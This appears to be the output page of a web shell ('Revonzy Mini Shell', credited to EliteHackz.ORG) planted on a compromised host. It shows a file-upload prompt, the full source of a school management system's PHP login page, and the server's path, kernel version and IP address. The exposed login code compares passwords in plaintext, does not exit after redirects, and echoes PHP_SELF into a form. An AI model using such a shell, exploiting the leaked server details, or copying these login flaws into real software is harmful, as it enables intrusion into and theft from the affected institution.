Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/index.php

<?php
	require_once('lib/functions.php');
	$db		=	 new db_functions();
	
	if(isset($_GET['logout']))
	{
		unset($_SESSION['login_admin_user_id']);
	}
	
	if(isset($_SESSION['login_admin_user_id']))
	{
		header("location:academic-year.php");
	}
	
	$flag	=	0;
	$email_error	=	"";
	$password_error	=	"";
	$type			=	"";
	if(isset($_POST['submit_btn']))
	{
		$email		=	$_POST['email'];
		$password	=	$_POST['password'];
		$type		=	$_POST['login_type'];
		
		$db_password =	$db->get_admin_password($email,$type);
		
		if($db_password=="")
		{
		?>
		<script>
			alert("This User is not Exist");
		</script>
		<?php
			
			$flag = 1;
		}
		else
		{
			if($db_password==$password)
			{
				$_SESSION['login_admin_user_id']= $email;
				$_SESSION['login_type']= $type;
				header("location:academic-year.php");
			}
			else
			{
			?>
			<script>
				alert("Please Enter Correct Password");
			</script>
			<?php
			
			$flag = 1;
			}
		}
		
	}
?>

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title><?php echo $application_title; ?></title>
  <!-- Tell the browser to be responsive to screen width -->
  <meta name="viewport" content="width=device-width, initial-scale=1">

  <!-- Font Awesome -->
  <link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
  <!-- Ionicons -->
  <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
  <!-- icheck bootstrap -->
  <link rel="stylesheet" href="plugins/icheck-bootstrap/icheck-bootstrap.min.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="dist/css/adminlte.min.css">
  <!-- Google Font: Source Sans Pro -->
  <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
</head>
<body class="hold-transition login-page">
<div class="login-box" style="margin-bottom:100px !important;">
  <div class="login-logo">
    <a href="index.php"><b>LOGIN </b> </a>
  </div>
  <!-- /.login-logo -->
  <div class="card">
    <div class="card-body login-card-body">
	<!-- Default unchecked -->
	<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" >
<div class="custom-control custom-radio" >
  <input type="radio" class="custom-control-input" id="defaultUnchecked" name="login_type" value="student_section">
  <label class="custom-control-label" for="defaultUnchecked" style="font-size:18px;" >Student Section</label>
</div>

<!-- Default checked -->
<div class="custom-control custom-radio"  >
  <input type="radio" class="custom-control-input" id="defaultChecked" name="login_type" value="library_section"  checked>
  <label class="custom-control-label" for="defaultChecked" style="font-size:18px;" >Library Section</label>
</div>
  
  
      <p class="login-box-msg"></p>

      
        <div class="input-group mb-3">
          <input type="email" class="form-control" placeholder="User Id" name="email" >
          <div class="input-group-append">
            <div class="input-group-text">
              <span class="fas fa-envelope"></span>
            </div>
          </div>
        </div>
        <div class="input-group mb-3">
          <input type="password" class="form-control" placeholder="Password" name="password">
          <div class="input-group-append">
            <div class="input-group-text">
              <span class="fas fa-lock"></span>
            </div>
          </div>
        </div>
        <div class="row">
          
          <!-- /.col -->
          <div class="col-12">
            <button type="submit"  name="submit_btn" class="btn btn-primary btn-block">Sign In</button>
          </div>
          <!-- /.col -->
        </div>
      </form>

      <!-- /.social-auth-links -->


      
    </div>
    <!-- /.login-card-body -->
  </div>
</div>
<!-- /.login-box -->

<!-- jQuery -->
<script src="plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="dist/js/adminlte.min.js"></script>

</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4